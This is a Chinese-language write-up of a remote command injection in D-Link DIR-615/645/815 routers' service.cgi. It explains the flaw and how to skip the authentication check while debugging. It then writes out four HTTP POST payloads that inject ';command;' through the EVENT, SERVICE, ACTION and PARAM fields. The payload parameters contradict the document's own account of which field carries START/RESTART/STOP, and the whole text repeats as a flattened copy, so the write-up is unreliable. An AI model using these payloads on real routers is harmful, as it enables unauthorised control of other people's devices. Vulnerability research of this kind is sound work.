DIR-615/645/815 service.cgi远程命令执行漏洞
字数 1129 2025-09-01 11:26:03

D-Link DIR-615/645/815 service.cgi远程命令执行漏洞分析

漏洞概述

D-Link DIR-615/645/815路由器1.03及之前的固件版本存在远程命令执行漏洞。该漏洞位于service.cgi中,由于HTTP POST请求中的数据被直接拼接执行,导致攻击者可以执行任意命令。

漏洞分析

漏洞位置

漏洞存在于/htdocs/cgibin二进制文件的servicecgi_main函数中。

关键函数

  • sub_40A1C0: 解析函数,解析传入的参数
  • lxmldbc_system: 最终会调用system执行命令

漏洞原理

  1. 程序接收第一个参数并通过sub_40A1C0解析
  2. 解析后的参数(如EVENT=abc中的abc)会被拼接在event_%s____dev_null
  3. 最终形成lxmldbc_system(event %s____dev_null)形式的命令执行

利用条件

  1. 请求方式: 必须使用POST请求,GET请求会直接报错退出
  2. Content-Type: 必须设置为application/x-www-form-urlencoded
  3. 用户认证: 需要绕过sess_ispoweruser函数的用户验证

漏洞利用路径

有四种路径可以调用lxmldbc_system函数:

  1. 直接通过EVENT参数:

    • v5!=NULL时直接执行v5
  2. 通过SERVICE和ACTION参数:

    • v5=NULL时进入else分支
    • 需要v6v7都不为NULL
    • v7可以是STARTRESTARTSTOP
    • 会将v6拼接进命令执行

漏洞复现方法

用户态QEMU调试

  1. 使用用户级QEMU进行调试
  2. 设置断点在0x40A3A4
  3. 通过gdb设置跳过用户认证步骤

绕过用户认证

  1. 修改二进制文件将sess_ispoweruser函数nop掉
  2. 或通过gdb直接设置跳过此步骤

Payload构造

使用';cmd;'形式拼接执行命令,例如:

EVENT=';ls;'

漏洞利用EXP

四种可能的payload形式:

  1. 直接EVENT参数注入:
POST /service.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded

EVENT=';command;'
  1. SERVICE+ACTION参数注入:
POST /service.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded

SERVICE=START&ACTION=';command;'
  1. SERVICE+ACTION+RESTART注入:
POST /service.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded

SERVICE=START&ACTION=RESTART&PARAM=';command;'
  1. SERVICE+ACTION+STOP注入:
POST /service.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded

SERVICE=START&ACTION=STOP&PARAM=';command;'

漏洞挖掘经验

  1. 关注危险函数:如systemexec
  2. 利用IDA功能
    • 函数流程图分析
    • xref交叉引用分析
  3. 调试技巧
    • 多尝试猜测和调试
    • 关注参数解析过程
  4. 同类漏洞模式:D-Link多个服务功能函数结构相似

参考链接

  1. DIR-645远程命令执行漏洞
  2. 国家信息安全漏洞共享平台
D-Link DIR-615/645/815 service.cgi远程命令执行漏洞分析 漏洞概述 D-Link DIR-615/645/815路由器1.03及之前的固件版本存在远程命令执行漏洞。该漏洞位于 service.cgi 中,由于HTTP POST请求中的数据被直接拼接执行,导致攻击者可以执行任意命令。 漏洞分析 漏洞位置 漏洞存在于 /htdocs/cgibin 二进制文件的 servicecgi_main 函数中。 关键函数 sub_40A1C0 : 解析函数,解析传入的参数 lxmldbc_system : 最终会调用 system 执行命令 漏洞原理 程序接收第一个参数并通过 sub_40A1C0 解析 解析后的参数(如 EVENT=abc 中的 abc )会被拼接在 event_%s____dev_null 中 最终形成 lxmldbc_system(event %s____dev_null) 形式的命令执行 利用条件 请求方式 : 必须使用POST请求,GET请求会直接报错退出 Content-Type : 必须设置为 application/x-www-form-urlencoded 用户认证 : 需要绕过 sess_ispoweruser 函数的用户验证 漏洞利用路径 有四种路径可以调用 lxmldbc_system 函数: 直接通过EVENT参数 : 当 v5!=NULL 时直接执行 v5 通过SERVICE和ACTION参数 : 当 v5=NULL 时进入else分支 需要 v6 和 v7 都不为NULL v7 可以是 START 、 RESTART 或 STOP 会将 v6 拼接进命令执行 漏洞复现方法 用户态QEMU调试 使用用户级QEMU进行调试 设置断点在 0x40A3A4 通过gdb设置跳过用户认证步骤 绕过用户认证 修改二进制文件将 sess_ispoweruser 函数nop掉 或通过gdb直接设置跳过此步骤 Payload构造 使用 ';cmd;' 形式拼接执行命令,例如: 漏洞利用EXP 四种可能的payload形式: 直接EVENT参数注入: SERVICE+ACTION参数注入: SERVICE+ACTION+RESTART注入: SERVICE+ACTION+STOP注入: 漏洞挖掘经验 关注危险函数 :如 system 、 exec 等 利用IDA功能 : 函数流程图分析 xref交叉引用分析 调试技巧 : 多尝试猜测和调试 关注参数解析过程 同类漏洞模式 :D-Link多个服务功能函数结构相似 参考链接 DIR-645远程命令执行漏洞 国家信息安全漏洞共享平台